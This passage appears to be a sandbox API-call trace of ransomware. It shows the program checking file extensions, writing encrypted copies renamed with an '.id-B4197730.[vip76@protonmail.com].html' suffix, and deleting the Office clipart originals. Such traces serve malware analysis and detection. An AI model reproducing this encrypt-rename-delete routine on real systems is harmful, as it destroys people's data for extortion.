	[0202.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0203.491] lstrlenW (lpString=".1cd") returned 4
	[0203.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0203.526] lstrlenW (lpString=".jpg") returned 4
	[0203.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.526] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0203.526] lstrlenW (lpString="J0152694.WMF") returned 12
	[0203.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480
	[0203.776] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1348) returned 1
	[0203.789] CloseHandle (hObject=0x480) returned 1
	[0203.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 0x220
	[0203.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0203.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0203.973] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.973] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0204.041] GetLastError () returned 0x0
	[0204.041] ReadFile (in: hFile=0x5bc, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x544, lpOverlapped=0x0) returned 1
	[0204.043] WriteFile (in: hFile=0x494, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x550, lpOverlapped=0x0) returned 1
	[0204.044] ReadFile (in: hFile=0x5bc, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.044] WriteFile (in: hFile=0x494, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.044] SetEndOfFile (hFile=0x494) returned 1
	[0204.045] CloseHandle (hObject=0x494) returned 1
	[0204.045] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.045] SetEndOfFile (hFile=0x5bc) returned 1
	[0204.048] CloseHandle (hObject=0x5bc) returned 1
	[0204.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 1
	[0204.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0204.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0204.050] lstrlenW (lpString=".doc") returned 4
	[0204.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.050] lstrlenW (lpString=".docx") returned 5
	[0204.050] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0204.050] lstrlenW (lpString=".pdf") returned 4
	[0204.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.050] lstrlenW (lpString=".xls") returned 4
	[0204.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.050] lstrlenW (lpString=".xlsx") returned 5
	[0204.050] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0204.050] lstrlenW (lpString=".ppt") returned 4
	[0204.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0204.050] lstrlenW (lpString=".zip") returned 4
	[0204.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.050] lstrlenW (lpString=".rar") returned 4
	[0204.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.050] lstrlenW (lpString=".bz2") returned 4
	[0204.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.050] lstrlenW (lpString=".7z") returned 3
	[0204.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0204.050] lstrlenW (lpString=".dbf") returned 4
	[0204.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0204.050] lstrlenW (lpString=".1cd") returned 4
	[0204.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0204.050] lstrlenW (lpString=".jpg") returned 4
	[0204.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0204.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0204.051] lstrlenW (lpString=".doc") returned 4
	[0204.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.051] lstrlenW (lpString=".docx") returned 5
	[0204.051] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0204.051] lstrlenW (lpString=".pdf") returned 4
	[0204.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.051] lstrlenW (lpString=".xls") returned 4
	[0204.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.051] lstrlenW (lpString=".xlsx") returned 5
	[0204.051] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0204.051] lstrlenW (lpString=".ppt") returned 4
	[0204.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0204.051] lstrlenW (lpString=".zip") returned 4
	[0204.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.051] lstrlenW (lpString=".rar") returned 4
	[0204.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.051] lstrlenW (lpString=".bz2") returned 4
	[0204.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.051] lstrlenW (lpString=".7z") returned 3
	[0204.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0204.051] lstrlenW (lpString=".dbf") returned 4
	[0204.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0204.051] lstrlenW (lpString=".1cd") returned 4
	[0204.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0204.051] lstrlenW (lpString=".jpg") returned 4
	[0204.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.052] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.052] lstrlenW (lpString="J0152876.WMF") returned 12
	[0204.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0204.053] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=7876) returned 1
	[0204.053] CloseHandle (hObject=0x5bc) returned 1
	[0204.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 0x220
	[0204.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0204.054] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.054] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0204.055] GetLastError () returned 0x0
	[0204.055] ReadFile (in: hFile=0x5bc, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x1ec4, lpOverlapped=0x0) returned 1
	[0204.056] WriteFile (in: hFile=0x494, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x1ed0, lpOverlapped=0x0) returned 1
	[0204.057] ReadFile (in: hFile=0x5bc, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.057] WriteFile (in: hFile=0x494, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.058] SetEndOfFile (hFile=0x494) returned 1
	[0204.058] CloseHandle (hObject=0x494) returned 1
	[0204.058] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.058] SetEndOfFile (hFile=0x5bc) returned 1
	[0204.060] CloseHandle (hObject=0x5bc) returned 1
	[0204.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 1
	[0204.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0204.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0204.062] lstrlenW (lpString=".doc") returned 4
	[0204.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.062] lstrlenW (lpString=".docx") returned 5
	[0204.062] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0204.062] lstrlenW (lpString=".pdf") returned 4
	[0204.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.062] lstrlenW (lpString=".xls") returned 4
	[0204.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.062] lstrlenW (lpString=".xlsx") returned 5
	[0204.062] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0204.062] lstrlenW (lpString=".ppt") returned 4
	[0204.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0204.062] lstrlenW (lpString=".zip") returned 4
	[0204.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.062] lstrlenW (lpString=".rar") returned 4
	[0204.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.062] lstrlenW (lpString=".bz2") returned 4
	[0204.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.062] lstrlenW (lpString=".7z") returned 3
	[0204.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0204.063] lstrlenW (lpString=".dbf") returned 4
	[0204.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0204.063] lstrlenW (lpString=".1cd") returned 4
	[0204.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0204.063] lstrlenW (lpString=".jpg") returned 4
	[0204.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0204.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0204.063] lstrlenW (lpString=".doc") returned 4
	[0204.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.063] lstrlenW (lpString=".docx") returned 5
	[0204.063] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0204.063] lstrlenW (lpString=".pdf") returned 4
	[0204.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.063] lstrlenW (lpString=".xls") returned 4
	[0204.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.063] lstrlenW (lpString=".xlsx") returned 5
	[0204.063] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0204.063] lstrlenW (lpString=".ppt") returned 4
	[0204.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0204.063] lstrlenW (lpString=".zip") returned 4
	[0204.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.063] lstrlenW (lpString=".rar") returned 4
	[0204.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.063] lstrlenW (lpString=".bz2") returned 4
	[0204.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.063] lstrlenW (lpString=".7z") returned 3
	[0204.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0204.064] lstrlenW (lpString=".dbf") returned 4
	[0204.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0204.064] lstrlenW (lpString=".1cd") returned 4
	[0204.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0204.064] lstrlenW (lpString=".jpg") returned 4
	[0204.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.064] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.064] lstrlenW (lpString="J0152878.WMF") returned 12
	[0204.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0204.065] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=14888) returned 1
	[0204.065] CloseHandle (hObject=0x5bc) returned 1
	[0204.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 0x220
	[0204.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0204.066] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.066] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0204.067] GetLastError () returned 0x0
	[0204.067] ReadFile (in: hFile=0x5bc, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x3a28, lpOverlapped=0x0) returned 1
	[0204.069] WriteFile (in: hFile=0x494, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x3a30, lpOverlapped=0x0) returned 1
	[0204.071] ReadFile (in: hFile=0x5bc, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.071] WriteFile (in: hFile=0x494, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.071] SetEndOfFile (hFile=0x494) returned 1
	[0204.071] CloseHandle (hObject=0x494) returned 1
	[0204.071] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.071] SetEndOfFile (hFile=0x5bc) returned 1
	[0204.073] CloseHandle (hObject=0x5bc) returned 1
	[0204.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 1
	[0204.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0204.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0204.075] lstrlenW (lpString=".doc") returned 4
	[0204.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.075] lstrlenW (lpString=".docx") returned 5
	[0204.075] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0204.075] lstrlenW (lpString=".pdf") returned 4
	[0204.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.075] lstrlenW (lpString=".xls") returned 4
	[0204.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.075] lstrlenW (lpString=".xlsx") returned 5
	[0204.075] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0204.075] lstrlenW (lpString=".ppt") returned 4
	[0204.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0204.075] lstrlenW (lpString=".zip") returned 4
	[0204.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.075] lstrlenW (lpString=".rar") returned 4
	[0204.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.075] lstrlenW (lpString=".bz2") returned 4
	[0204.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.075] lstrlenW (lpString=".7z") returned 3
	[0204.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0204.075] lstrlenW (lpString=".dbf") returned 4
	[0204.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0204.075] lstrlenW (lpString=".1cd") returned 4
	[0204.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0204.076] lstrlenW (lpString=".jpg") returned 4
	[0204.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0204.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0204.076] lstrlenW (lpString=".doc") returned 4
	[0204.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.076] lstrlenW (lpString=".docx") returned 5
	[0204.076] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0204.076] lstrlenW (lpString=".pdf") returned 4
	[0204.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.076] lstrlenW (lpString=".xls") returned 4
	[0204.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.076] lstrlenW (lpString=".xlsx") returned 5
	[0204.076] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0204.076] lstrlenW (lpString=".ppt") returned 4
	[0204.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0204.076] lstrlenW (lpString=".zip") returned 4
	[0204.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.076] lstrlenW (lpString=".rar") returned 4
	[0204.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.076] lstrlenW (lpString=".bz2") returned 4
	[0204.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.236] lstrlenW (lpString=".7z") returned 3
	[0204.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0204.236] lstrlenW (lpString=".dbf") returned 4
	[0204.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
